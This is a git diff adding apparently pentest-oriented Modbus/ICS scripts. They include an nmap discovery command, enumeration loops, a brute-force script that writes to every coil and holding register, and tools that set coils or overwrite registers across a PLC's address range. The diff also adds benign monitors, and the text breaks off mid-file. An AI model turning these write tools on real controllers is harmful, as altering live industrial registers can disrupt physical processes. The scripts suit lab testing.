__SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: 